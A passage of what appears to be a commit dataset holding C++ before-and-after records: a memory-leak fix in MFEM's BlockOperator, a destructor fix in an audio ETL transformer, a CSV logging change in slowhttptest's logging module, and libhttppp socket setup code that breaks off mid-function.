// terms of the BSD-3 license. We welcome feedback and contributions, see file
// CONTRIBUTING.md for details.
#include "../general/array.hpp"
#include "operator.hpp"
#include "blockvector.hpp"
#include "blockoperator.hpp"
namespace mfem
{
BlockOperator::BlockOperator(const Array<int> & offsets)
: Operator(offsets.Last()),
owns_blocks(0),
nRowBlocks(offsets.Size() - 1),
nColBlocks(offsets.Size() - 1),
row_offsets(0),
col_offsets(0),
op(nRowBlocks, nRowBlocks),
coef(nRowBlocks, nColBlocks)
{
op = static_cast<Operator *>(NULL);
row_offsets.MakeRef(offsets);
col_offsets.MakeRef(offsets);
}
BlockOperator::BlockOperator(const Array<int> & row_offsets_,
const Array<int> & col_offsets_)
: Operator(row_offsets_.Last(), col_offsets_.Last()),
owns_blocks(0),
nRowBlocks(row_offsets_.Size()-1),
nColBlocks(col_offsets_.Size()-1),
row_offsets(0),
col_offsets(0),
op(nRowBlocks, nColBlocks),
coef(nRowBlocks, nColBlocks)
{
op = static_cast<Operator *>(NULL);
row_offsets.MakeRef(row_offsets_);
col_offsets.MakeRef(col_offsets_);
}
void BlockOperator::SetDiagonalBlock(int iblock, Operator *op, double c)
{
SetBlock(iblock, iblock, op, c);
}
void BlockOperator::SetBlock(int iRow, int iCol, Operator *opt, double c)
{
op(iRow, iCol) = opt;
coef(iRow, iCol) = c;
MFEM_VERIFY(row_offsets[iRow+1] - row_offsets[iRow] == opt->NumRows() &&
col_offsets[iCol+1] - col_offsets[iCol] == opt->NumCols(),
"incompatible Operator dimensions");
}
// Operator application
void BlockOperator::Mult (const Vector & x, Vector & y) const
{
MFEM_ASSERT(x.Size() == width, "incorrect input Vector size");
MFEM_ASSERT(y.Size() == height, "incorrect output Vector size");
yblock.Update(y.GetData(),row_offsets);
xblock.Update(x.GetData(),col_offsets);
y = 0.0;
for (int iRow=0; iRow < nRowBlocks; ++iRow)
{
tmp.SetSize(row_offsets[iRow+1] - row_offsets[iRow]);
for (int jCol=0; jCol < nColBlocks; ++jCol)
{
if (op(iRow,jCol))
{
op(iRow,jCol)->Mult(xblock.GetBlock(jCol), tmp);
yblock.GetBlock(iRow).Add(coef(iRow,jCol), tmp);
}
}
}
}
// Action of the transpose operator
void BlockOperator::MultTranspose (const Vector & x, Vector & y) const
{
MFEM_ASSERT(x.Size() == height, "incorrect input Vector size");
MFEM_ASSERT(y.Size() == width, "incorrect output Vector size");
y = 0.0;
xblock.Update(x.GetData(),row_offsets);
yblock.Update(y.GetData(),col_offsets);
for (int iRow=0; iRow < nColBlocks; ++iRow)
{
tmp.SetSize(col_offsets[iRow+1] - col_offsets[iRow]);
for (int jCol=0; jCol < nRowBlocks; ++jCol)
{
if (op(jCol,iRow))
{
op(jCol,iRow)->MultTranspose(xblock.GetBlock(jCol), tmp);
yblock.GetBlock(iRow).Add(coef(jCol,iRow), tmp);
}
}
}
}
BlockOperator::~BlockOperator()
{
if (owns_blocks)
{
for (int iRow=0; iRow < nRowBlocks; ++iRow)
{
for (int jCol=0; jCol < nColBlocks; ++jCol)
{
delete op(jCol,iRow);
}
}
}
}
//-----------------------------------------------------------------------
BlockDiagonalPreconditioner::BlockDiagonalPreconditioner(
const Array<int> & offsets_):
Solver(offsets_.Last()),
owns_blocks(0),
nBlocks(offsets_.Size() - 1),
offsets(0),
op(nBlocks)
{
op = static_cast<Operator *>(NULL);
offsets.MakeRef(offsets_);
}
void BlockDiagonalPreconditioner::SetDiagonalBlock(int iblock, Operator *opt)
{
MFEM_VERIFY(offsets[iblock+1] - offsets[iblock] == opt->Height() &&
offsets[iblock+1] - offsets[iblock] == opt->Width(),
"incompatible Operator dimensions");
op[iblock] = opt;
}
// Operator application
void BlockDiagonalPreconditioner::Mult (const Vector & x, Vector & y) const
{
MFEM_ASSERT(x.Size() == width, "incorrect input Vector size");
MFEM_ASSERT(y.Size() == height, "incorrect output Vector size");
yblock.Update(y.GetData(), offsets);
xblock.Update(x.GetData(), offsets);
for (int i=0; i<nBlocks; ++i)
{
if (op[i])
{
op[i]->Mult(xblock.GetBlock(i), yblock.GetBlock(i));
}
else
{
yblock.GetBlock(i) = xblock.GetBlock(i);
}
}
}
// Action of the transpose operator
void BlockDiagonalPreconditioner::MultTranspose (const Vector & x,
Vector & y) const
{
MFEM_ASSERT(x.Size() == height, "incorrect input Vector size");
MFEM_ASSERT(y.Size() == width, "incorrect output Vector size");
yblock.Update(y.GetData(), offsets);
xblock.Update(x.GetData(), offsets);
for (int i=0; i<nBlocks; ++i)
{
if (op[i])
{
(op[i])->MultTranspose(xblock.GetBlock(i), yblock.GetBlock(i));
}
else
{
yblock.GetBlock(i) = xblock.GetBlock(i);
}
}
}
BlockDiagonalPreconditioner::~BlockDiagonalPreconditioner()
{
if (owns_blocks)
{
for (int i=0; i<nBlocks; ++i)
{
delete op[i];
}
}
}
BlockLowerTriangularPreconditioner::BlockLowerTriangularPreconditioner(
const Array<int> & offsets_)
: Solver(offsets_.Last()),
owns_blocks(0),
nBlocks(offsets_.Size() - 1),
offsets(0),
op(nBlocks, nBlocks)
{
op = static_cast<Operator *>(NULL);
offsets.MakeRef(offsets_);
}
void BlockLowerTriangularPreconditioner::SetDiagonalBlock(int iblock,
Operator *op)
{
MFEM_VERIFY(offsets[iblock+1] - offsets[iblock] == op->Height() &&
offsets[iblock+1] - offsets[iblock] == op->Width(),
"incompatible Operator dimensions");
SetBlock(iblock, iblock, op);
}
void BlockLowerTriangularPreconditioner::SetBlock(int iRow, int iCol,
Operator *opt)
{
MFEM_VERIFY(iRow >= iCol,"cannot set block in upper triangle");
MFEM_VERIFY(offsets[iRow+1] - offsets[iRow] == opt->NumRows() &&
offsets[iCol+1] - offsets[iCol] == opt->NumCols(),
"incompatible Operator dimensions");
op(iRow, iCol) = opt;
}
// Operator application
void BlockLowerTriangularPreconditioner::Mult (const Vector & x,
Vector & y) const
{
MFEM_ASSERT(x.Size() == width, "incorrect input Vector size");
MFEM_ASSERT(y.Size() == height, "incorrect output Vector size");
yblock.Update(y.GetData(),offsets);
xblock.Update(x.GetData(),offsets);
y = 0.0;
for (int iRow=0; iRow < nBlocks; ++iRow)
{
tmp.SetSize(offsets[iRow+1] - offsets[iRow]);
tmp2.SetSize(offsets[iRow+1] - offsets[iRow]);
tmp2 = 0.0;
tmp2 += xblock.GetBlock(iRow);
for (int jCol=0; jCol < iRow; ++jCol)
{
if (op(iRow,jCol))
{
op(iRow,jCol)->Mult(yblock.GetBlock(jCol), tmp);
tmp2 -= tmp;
}
}
if (op(iRow,iRow))
{
op(iRow,iRow)->Mult(tmp2, yblock.GetBlock(iRow));
}
else
{
yblock.GetBlock(iRow) = tmp2;
}
}
}
// Action of the transpose operator
void BlockLowerTriangularPreconditioner::MultTranspose (const Vector & x,
Vector & y) const
{
MFEM_ASSERT(x.Size() == height, "incorrect input Vector size");
MFEM_ASSERT(y.Size() == width, "incorrect output Vector size");
yblock.Update(y.GetData(),offsets);
xblock.Update(x.GetData(),offsets);
y = 0.0;
for (int iRow=nBlocks-1; iRow >=0; --iRow)
{
tmp.SetSize(offsets[iRow+1] - offsets[iRow]);
tmp2.SetSize(offsets[iRow+1] - offsets[iRow]);
tmp2 = 0.0;
tmp2 += xblock.GetBlock(iRow);
for (int jCol=iRow+1; jCol < nBlocks; ++jCol)
{
if (op(jCol,iRow))
{
op(jCol,iRow)->MultTranspose(yblock.GetBlock(jCol), tmp);
tmp2 -= tmp;
}
}
if (op(iRow,iRow))
{
op(iRow,iRow)->MultTranspose(tmp2, yblock.GetBlock(iRow));
}
else
{
yblock.GetBlock(iRow) = tmp2;
}
}
}
BlockLowerTriangularPreconditioner::~BlockLowerTriangularPreconditioner()
{
if (owns_blocks)
{
for (int iRow=0; iRow < nBlocks; ++iRow)
{
for (int jCol=0; jCol < nBlocks; ++jCol)
{
delete op(jCol,iRow);
}
}
}
}
}
<commit_msg>Avoiding memory leak in BlockOperator<commit_after>// Copyright (c) 2010-2020, Lawrence Livermore National Security, LLC. Produced
// at the Lawrence Livermore National Laboratory. All Rights reserved. See files
// LICENSE and NOTICE for details. LLNL-CODE-806117.
//
// This file is part of the MFEM library. For more information and source code
// availability visit https://mfem.org.
//
// MFEM is free software; you can redistribute it and/or modify it under the
// terms of the BSD-3 license. We welcome feedback and contributions, see file
// CONTRIBUTING.md for details.
#include "../general/array.hpp"
#include "operator.hpp"
#include "blockvector.hpp"
#include "blockoperator.hpp"
namespace mfem
{
BlockOperator::BlockOperator(const Array<int> & offsets)
: Operator(offsets.Last()),
owns_blocks(0),
nRowBlocks(offsets.Size() - 1),
nColBlocks(offsets.Size() - 1),
row_offsets(0),
col_offsets(0),
op(nRowBlocks, nRowBlocks),
coef(nRowBlocks, nColBlocks)
{
op = static_cast<Operator *>(NULL);
row_offsets.MakeRef(offsets);
col_offsets.MakeRef(offsets);
}
BlockOperator::BlockOperator(const Array<int> & row_offsets_,
const Array<int> & col_offsets_)
: Operator(row_offsets_.Last(), col_offsets_.Last()),
owns_blocks(0),
nRowBlocks(row_offsets_.Size()-1),
nColBlocks(col_offsets_.Size()-1),
row_offsets(0),
col_offsets(0),
op(nRowBlocks, nColBlocks),
coef(nRowBlocks, nColBlocks)
{
op = static_cast<Operator *>(NULL);
row_offsets.MakeRef(row_offsets_);
col_offsets.MakeRef(col_offsets_);
}
void BlockOperator::SetDiagonalBlock(int iblock, Operator *op, double c)
{
SetBlock(iblock, iblock, op, c);
}
void BlockOperator::SetBlock(int iRow, int iCol, Operator *opt, double c)
{
if (owns_blocks && op(iRow, iCol))
{
delete op(iRow, iCol);
}
op(iRow, iCol) = opt;
coef(iRow, iCol) = c;
MFEM_VERIFY(row_offsets[iRow+1] - row_offsets[iRow] == opt->NumRows() &&
col_offsets[iCol+1] - col_offsets[iCol] == opt->NumCols(),
"incompatible Operator dimensions");
}
// Operator application
void BlockOperator::Mult (const Vector & x, Vector & y) const
{
MFEM_ASSERT(x.Size() == width, "incorrect input Vector size");
MFEM_ASSERT(y.Size() == height, "incorrect output Vector size");
yblock.Update(y.GetData(),row_offsets);
xblock.Update(x.GetData(),col_offsets);
y = 0.0;
for (int iRow=0; iRow < nRowBlocks; ++iRow)
{
tmp.SetSize(row_offsets[iRow+1] - row_offsets[iRow]);
for (int jCol=0; jCol < nColBlocks; ++jCol)
{
if (op(iRow,jCol))
{
op(iRow,jCol)->Mult(xblock.GetBlock(jCol), tmp);
yblock.GetBlock(iRow).Add(coef(iRow,jCol), tmp);
}
}
}
}
// Action of the transpose operator
void BlockOperator::MultTranspose (const Vector & x, Vector & y) const
{
MFEM_ASSERT(x.Size() == height, "incorrect input Vector size");
MFEM_ASSERT(y.Size() == width, "incorrect output Vector size");
y = 0.0;
xblock.Update(x.GetData(),row_offsets);
yblock.Update(y.GetData(),col_offsets);
for (int iRow=0; iRow < nColBlocks; ++iRow)
{
tmp.SetSize(col_offsets[iRow+1] - col_offsets[iRow]);
for (int jCol=0; jCol < nRowBlocks; ++jCol)
{
if (op(jCol,iRow))
{
op(jCol,iRow)->MultTranspose(xblock.GetBlock(jCol), tmp);
yblock.GetBlock(iRow).Add(coef(jCol,iRow), tmp);
}
}
}
}
BlockOperator::~BlockOperator()
{
if (owns_blocks)
{
for (int iRow=0; iRow < nRowBlocks; ++iRow)
{
for (int jCol=0; jCol < nColBlocks; ++jCol)
{
delete op(jCol,iRow);
}
}
}
}
//-----------------------------------------------------------------------
BlockDiagonalPreconditioner::BlockDiagonalPreconditioner(
const Array<int> & offsets_):
Solver(offsets_.Last()),
owns_blocks(0),
nBlocks(offsets_.Size() - 1),
offsets(0),
op(nBlocks)
{
op = static_cast<Operator *>(NULL);
offsets.MakeRef(offsets_);
}
void BlockDiagonalPreconditioner::SetDiagonalBlock(int iblock, Operator *opt)
{
MFEM_VERIFY(offsets[iblock+1] - offsets[iblock] == opt->Height() &&
offsets[iblock+1] - offsets[iblock] == opt->Width(),
"incompatible Operator dimensions");
op[iblock] = opt;
}
// Operator application
void BlockDiagonalPreconditioner::Mult (const Vector & x, Vector & y) const
{
MFEM_ASSERT(x.Size() == width, "incorrect input Vector size");
MFEM_ASSERT(y.Size() == height, "incorrect output Vector size");
yblock.Update(y.GetData(), offsets);
xblock.Update(x.GetData(), offsets);
for (int i=0; i<nBlocks; ++i)
{
if (op[i])
{
op[i]->Mult(xblock.GetBlock(i), yblock.GetBlock(i));
}
else
{
yblock.GetBlock(i) = xblock.GetBlock(i);
}
}
}
// Action of the transpose operator
void BlockDiagonalPreconditioner::MultTranspose (const Vector & x,
Vector & y) const
{
MFEM_ASSERT(x.Size() == height, "incorrect input Vector size");
MFEM_ASSERT(y.Size() == width, "incorrect output Vector size");
yblock.Update(y.GetData(), offsets);
xblock.Update(x.GetData(), offsets);
for (int i=0; i<nBlocks; ++i)
{
if (op[i])
{
(op[i])->MultTranspose(xblock.GetBlock(i), yblock.GetBlock(i));
}
else
{
yblock.GetBlock(i) = xblock.GetBlock(i);
}
}
}
BlockDiagonalPreconditioner::~BlockDiagonalPreconditioner()
{
if (owns_blocks)
{
for (int i=0; i<nBlocks; ++i)
{
delete op[i];
}
}
}
BlockLowerTriangularPreconditioner::BlockLowerTriangularPreconditioner(
const Array<int> & offsets_)
: Solver(offsets_.Last()),
owns_blocks(0),
nBlocks(offsets_.Size() - 1),
offsets(0),
op(nBlocks, nBlocks)
{
op = static_cast<Operator *>(NULL);
offsets.MakeRef(offsets_);
}
void BlockLowerTriangularPreconditioner::SetDiagonalBlock(int iblock,
Operator *op)
{
MFEM_VERIFY(offsets[iblock+1] - offsets[iblock] == op->Height() &&
offsets[iblock+1] - offsets[iblock] == op->Width(),
"incompatible Operator dimensions");
SetBlock(iblock, iblock, op);
}
void BlockLowerTriangularPreconditioner::SetBlock(int iRow, int iCol,
Operator *opt)
{
MFEM_VERIFY(iRow >= iCol,"cannot set block in upper triangle");
MFEM_VERIFY(offsets[iRow+1] - offsets[iRow] == opt->NumRows() &&
offsets[iCol+1] - offsets[iCol] == opt->NumCols(),
"incompatible Operator dimensions");
op(iRow, iCol) = opt;
}
// Operator application
void BlockLowerTriangularPreconditioner::Mult (const Vector & x,
Vector & y) const
{
MFEM_ASSERT(x.Size() == width, "incorrect input Vector size");
MFEM_ASSERT(y.Size() == height, "incorrect output Vector size");
yblock.Update(y.GetData(),offsets);
xblock.Update(x.GetData(),offsets);
y = 0.0;
for (int iRow=0; iRow < nBlocks; ++iRow)
{
tmp.SetSize(offsets[iRow+1] - offsets[iRow]);
tmp2.SetSize(offsets[iRow+1] - offsets[iRow]);
tmp2 = 0.0;
tmp2 += xblock.GetBlock(iRow);
for (int jCol=0; jCol < iRow; ++jCol)
{
if (op(iRow,jCol))
{
op(iRow,jCol)->Mult(yblock.GetBlock(jCol), tmp);
tmp2 -= tmp;
}
}
if (op(iRow,iRow))
{
op(iRow,iRow)->Mult(tmp2, yblock.GetBlock(iRow));
}
else
{
yblock.GetBlock(iRow) = tmp2;
}
}
}
// Action of the transpose operator
void BlockLowerTriangularPreconditioner::MultTranspose (const Vector & x,
Vector & y) const
{
MFEM_ASSERT(x.Size() == height, "incorrect input Vector size");
MFEM_ASSERT(y.Size() == width, "incorrect output Vector size");
yblock.Update(y.GetData(),offsets);
xblock.Update(x.GetData(),offsets);
y = 0.0;
for (int iRow=nBlocks-1; iRow >=0; --iRow)
{
tmp.SetSize(offsets[iRow+1] - offsets[iRow]);
tmp2.SetSize(offsets[iRow+1] - offsets[iRow]);
tmp2 = 0.0;
tmp2 += xblock.GetBlock(iRow);
for (int jCol=iRow+1; jCol < nBlocks; ++jCol)
{
if (op(jCol,iRow))
{
op(jCol,iRow)->MultTranspose(yblock.GetBlock(jCol), tmp);
tmp2 -= tmp;
}
}
if (op(iRow,iRow))
{
op(iRow,iRow)->MultTranspose(tmp2, yblock.GetBlock(iRow));
}
else
{
yblock.GetBlock(iRow) = tmp2;
}
}
}
BlockLowerTriangularPreconditioner::~BlockLowerTriangularPreconditioner()
{
if (owns_blocks)
{
for (int iRow=0; iRow < nBlocks; ++iRow)
{
for (int jCol=0; jCol < nBlocks; ++jCol)
{
delete op(jCol,iRow);
}
}
}
}
}
<|endoftext|> |
<commit_before>#include "etl_audio.hpp"
using namespace std;
using namespace nervana;
bool audio::config::set_config(nlohmann::json js) {
// TODO
}
shared_ptr<audio::params> audio::param_factory::make_params(std::shared_ptr<const decoded>) {
auto params = shared_ptr<audio::params>(new audio::params());
params->_width = _cfg->_width;
params->_height = _cfg->_height;
return params;
}
audio::decoded::decoded(shared_ptr<RawMedia> raw)
: _raw(raw) {
}
MediaType audio::decoded::get_type() {
return MediaType::AUDIO;
}
size_t audio::decoded::getSize() {
return _raw->numSamples();
}
audio::extractor::extractor(std::shared_ptr<const audio::config> config) {
_codec = new Codec(config);
avcodec_register_all();
}
audio::extractor::~extractor() {
delete _codec;
}
std::shared_ptr<audio::decoded> audio::extractor::extract(const char* item, int itemSize) {
return make_shared<audio::decoded>(_codec->decode(item, itemSize));
}
audio::transformer::transformer(std::shared_ptr<const audio::config> config)
: _noiseClips(0), _state(0), _rng(config->_randomSeed), _codec(0) {
_specgram = new Specgram(config, config->_randomSeed);
if (config->_noiseIndexFile != 0) {
_codec = new Codec(config);
_noiseClips = new NoiseClips(
config->_noiseIndexFile, config->_noiseDir, _codec
);
}
}
audio::transformer::~transformer() {
delete _specgram;
if(_codec != 0) {
delete _codec;
}
}
std::shared_ptr<audio::decoded> audio::transformer::transform(
std::shared_ptr<audio::params> params,
std::shared_ptr<audio::decoded> decoded) {
if (_noiseClips != 0) {
_noiseClips->addNoise(decoded->_raw, _state);
}
// set up _buf in decoded to accept data from generate
decoded->_buf.resize(params->_width * params->_height);
// convert from time domain to frequency domain
decoded->_len = _specgram->generate(
decoded->_raw, decoded->_buf.data(), params->_width * params->_height
);
return decoded;
}
<commit_msg>free audio::transform::_noiseClips in destructor<commit_after>#include "etl_audio.hpp"
using namespace std;
using namespace nervana;
bool audio::config::set_config(nlohmann::json js) {
// TODO
}
shared_ptr<audio::params> audio::param_factory::make_params(std::shared_ptr<const decoded>) {
auto params = shared_ptr<audio::params>(new audio::params());
params->_width = _cfg->_width;
params->_height = _cfg->_height;
return params;
}
audio::decoded::decoded(shared_ptr<RawMedia> raw)
: _raw(raw) {
}
MediaType audio::decoded::get_type() {
return MediaType::AUDIO;
}
size_t audio::decoded::getSize() {
return _raw->numSamples();
}
audio::extractor::extractor(std::shared_ptr<const audio::config> config) {
_codec = new Codec(config);
avcodec_register_all();
}
audio::extractor::~extractor() {
delete _codec;
}
std::shared_ptr<audio::decoded> audio::extractor::extract(const char* item, int itemSize) {
return make_shared<audio::decoded>(_codec->decode(item, itemSize));
}
audio::transformer::transformer(std::shared_ptr<const audio::config> config)
: _noiseClips(0), _state(0), _rng(config->_randomSeed), _codec(0) {
_specgram = new Specgram(config, config->_randomSeed);
if (config->_noiseIndexFile != 0) {
_codec = new Codec(config);
_noiseClips = new NoiseClips(
config->_noiseIndexFile, config->_noiseDir, _codec
);
}
}
audio::transformer::~transformer() {
delete _specgram;
if(_codec != 0) {
delete _codec;
}
if(_noiseClips != 0) {
delete _noiseClips;
}
}
std::shared_ptr<audio::decoded> audio::transformer::transform(
std::shared_ptr<audio::params> params,
std::shared_ptr<audio::decoded> decoded) {
if (_noiseClips != 0) {
_noiseClips->addNoise(decoded->_raw, _state);
}
// set up _buf in decoded to accept data from generate
decoded->_buf.resize(params->_width * params->_height);
// convert from time domain to frequency domain
decoded->_len = _specgram->generate(
decoded->_raw, decoded->_buf.data(), params->_width * params->_height
);
return decoded;
}
<|endoftext|> |
<commit_before>/*****************************************************************************
* Copyright 2011 Sergey Shekyan
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* *****************************************************************************/
/*****
* Author: Sergey Shekyan sshekyan@qualys.com
*
* Slow HTTP attack vulnerability test tool
* http://code.google.com/p/slowhttptest/
*****/
#include <errno.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <ctime>
#include <string.h>
#include <execinfo.h>
#include "slowlog.h"
namespace {
static FILE* log_file = NULL;
static FILE* csv_file = NULL;
int current_log_level;
void dispose_of_log() {
if (log_file && log_file != stdout) {
fclose(log_file);
}
if(csv_file) {
fclose(csv_file);
}
}
void print_call_stack() {
static void* buf[64];
const int depth = backtrace(buf, sizeof(buf)/sizeof(buf[0]));
backtrace_symbols_fd(buf, depth, fileno(stdout));
if (stdout != log_file) {
backtrace_symbols_fd(buf, depth, fileno(log_file));
}
}
}
namespace slowhttptest {
void slowlog_init(int debug_level, const char* file_name, bool need_csv) {
log_file = file_name == NULL ? stdout : fopen(file_name, "w");
if(!log_file) {
printf("Unable to open log file %s for writing: %s", file_name,
strerror(errno));
}
if(need_csv) {
time_t rawtime;
struct tm * timeinfo;
time(&rawtime);
timeinfo = localtime(&rawtime);
char csv_file_name[32] = {0};
strftime(csv_file_name, 22, "slow_%H%M%Y%m%d.csv", timeinfo);
csv_file = fopen(csv_file_name , "w");
if(!csv_file) {
printf("Unable to open csv file %s for writing: %s\n",
csv_file_name,
strerror(errno));
} else {
fprintf(csv_file, "Pending,Connected,Closed,Error\n");
}
}
atexit(&dispose_of_log);
current_log_level = debug_level;
}
void check(bool f, const char* message) {
if (!f) {
fprintf(log_file, "%s\n", message);
fflush(log_file);
print_call_stack();
exit(1);
}
}
void log_fatal(const char* format, ...) {
const time_t now = time(NULL);
char ctimebuf[32];
const char* buf = ctime_r(&now, ctimebuf);
fprintf(log_file, "%-.24s FATAL:", buf);
va_list va;
va_start(va, format);
vfprintf(log_file, format, va);
va_end(va);
fflush(log_file);
print_call_stack();
exit(1);
}
void dump_csv(const char* format, ...) {
va_list va;
va_start(va, format);
vfprintf(csv_file, format, va);
fflush(csv_file);
va_end(va);
}
void slowlog(int lvl, const char* format, ...) {
if(lvl <= current_log_level) {
const time_t now = time(NULL);
char ctimebuf[32];
const char* buf = ctime_r(&now, ctimebuf);
fprintf(log_file, "%-.24s:", buf);
va_list va;
va_start(va, format);
vfprintf(log_file, format, va);
va_end(va);
}
}
} // namespace slowhttptest
<commit_msg>added seconds column to csv<commit_after>/*****************************************************************************
* Copyright 2011 Sergey Shekyan
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* *****************************************************************************/
/*****
* Author: Sergey Shekyan sshekyan@qualys.com
*
* Slow HTTP attack vulnerability test tool
* http://code.google.com/p/slowhttptest/
*****/
#include <errno.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <ctime>
#include <string.h>
#include <execinfo.h>
#include "slowlog.h"
namespace {
static FILE* log_file = NULL;
static FILE* csv_file = NULL;
int current_log_level;
int seconds = 0;
void dispose_of_log() {
if (log_file && log_file != stdout) {
fclose(log_file);
}
if(csv_file) {
fclose(csv_file);
}
}
void print_call_stack() {
static void* buf[64];
const int depth = backtrace(buf, sizeof(buf)/sizeof(buf[0]));
backtrace_symbols_fd(buf, depth, fileno(stdout));
if (stdout != log_file) {
backtrace_symbols_fd(buf, depth, fileno(log_file));
}
}
}
namespace slowhttptest {
void slowlog_init(int debug_level, const char* file_name, bool need_csv) {
log_file = file_name == NULL ? stdout : fopen(file_name, "w");
if(!log_file) {
printf("Unable to open log file %s for writing: %s", file_name,
strerror(errno));
}
if(need_csv) {
time_t rawtime;
struct tm * timeinfo;
time(&rawtime);
timeinfo = localtime(&rawtime);
char csv_file_name[32] = {0};
strftime(csv_file_name, 22, "slow_%H%M%Y%m%d.csv", timeinfo);
csv_file = fopen(csv_file_name , "w");
if(!csv_file) {
printf("Unable to open csv file %s for writing: %s\n",
csv_file_name,
strerror(errno));
} else {
fprintf(csv_file, "Seconds,Pending,Connected,Closed,Error\n");
}
}
atexit(&dispose_of_log);
current_log_level = debug_level;
}
void check(bool f, const char* message) {
if (!f) {
fprintf(log_file, "%s\n", message);
fflush(log_file);
print_call_stack();
exit(1);
}
}
void log_fatal(const char* format, ...) {
const time_t now = time(NULL);
char ctimebuf[32];
const char* buf = ctime_r(&now, ctimebuf);
fprintf(log_file, "%-.24s FATAL:", buf);
va_list va;
va_start(va, format);
vfprintf(log_file, format, va);
va_end(va);
fflush(log_file);
print_call_stack();
exit(1);
}
void dump_csv(const char* format, ...) {
fprintf(csv_file, "%d,", seconds);
++seconds;
va_list va;
va_start(va, format);
vfprintf(csv_file, format, va);
fflush(csv_file);
va_end(va);
}
void slowlog(int lvl, const char* format, ...) {
if(lvl <= current_log_level) {
const time_t now = time(NULL);
char ctimebuf[32];
const char* buf = ctime_r(&now, ctimebuf);
fprintf(log_file, "%-.24s:", buf);
va_list va;
va_start(va, format);
vfprintf(log_file, format, va);
va_end(va);
}
}
} // namespace slowhttptest
<|endoftext|> |
<commit_before>/*******************************************************************************
Copyright (c) 2014, Jan Koester jan.koester@gmx.net
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the <organization> nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*******************************************************************************/
#include "socket.h"
#ifndef Windows
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/fcntl.h>
#else
#include <Windows.h>
#endif
#include <sys/types.h>
#include <algorithm>
#include <cstring>
#include <config.h>
#include <errno.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/x509.h>
libhttppp::ClientSocket::ClientSocket(){
#ifdef Windows
_Socket= INVALID_SOCKET;
#else
_Socket = 0;
#endif
_SSL=NULL;
}
libhttppp::ClientSocket::~ClientSocket(){
shutdown(_Socket,
#ifndef Windows
SHUT_RDWR
#else
SD_BOTH
#endif
);
SSL_free(_SSL);
}
void libhttppp::ClientSocket::setnonblocking(){
#ifndef Windows
fcntl(_Socket, F_SETFL, O_NONBLOCK);
#else
u_long bmode=1;
ioctlsocket(_Socket,FIONBIO,&bmode);
#endif
}
#ifndef Windows
int libhttppp::ClientSocket::getSocket(){
#else
SOCKET libhttppp::ClientSocket::getSocket(){
#endif
return _Socket;
}
#ifndef Windows
void libhttppp::ClientSocket::setSocket(int socket) {
#else
void libhttppp::ClientSocket::setSocket(SOCKET socket) {
#endif
_Socket=socket;
}
#ifndef Windows
libhttppp::ServerSocket::ServerSocket(const char* uxsocket,int maxconnections){
int optval = 1;
_Maxconnections=maxconnections;
_UXSocketAddr = new sockaddr_un;
_UXSocketAddr->sun_family = AF_UNIX;
try {
std::copy(uxsocket,uxsocket+strlen(uxsocket),_UXSocketAddr->sun_path);
}catch(...){
_httpexception.Cirtical("Can't copy Server UnixSocket");
throw _httpexception;
}
if ((_Socket = socket(AF_LOCAL, SOCK_STREAM, 0)) < 0){
_httpexception.Cirtical("Can't create Socket UnixSocket");
throw _httpexception;
}
setsockopt(_Socket,SOL_SOCKET,SO_REUSEADDR,&optval, sizeof(optval));
if (bind(_Socket, (struct sockaddr *)_UXSocketAddr, sizeof(struct sockaddr)) < 0){
#ifdef Linux
char errbuf[255];
_httpexception.Error("Can't bind Server UnixSocket",
strerror_r(errno, errbuf, 255));
#else
char errbuf[255];
strerror_r(errno, errbuf, 255);
_httpexception.Error("Can't bind Server UnixSocket",errbuf);
#endif
throw _httpexception;
}
}
#endif
#ifdef Windows
libhttppp::ServerSocket::ServerSocket(SOCKET socket) {
#else
libhttppp::ServerSocket::ServerSocket(int socket) {
#endif
_Socket = socket;
_Maxconnections = MAXDEFAULTCONN;
_Addr = NULL;
#ifndef Windows
_UXSocketAddr = NULL;
#endif
}
libhttppp::ServerSocket::ServerSocket(const char* addr, int port,int maxconnections){
_Maxconnections=maxconnections;
#ifdef Windows
int iResult;
WSADATA wsaData;
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
_httpexception.Cirtical("WSAStartup failed");
}
#endif
char port_buffer[6];
snprintf(port_buffer,6, "%hu", port);
struct addrinfo *result, *rp;
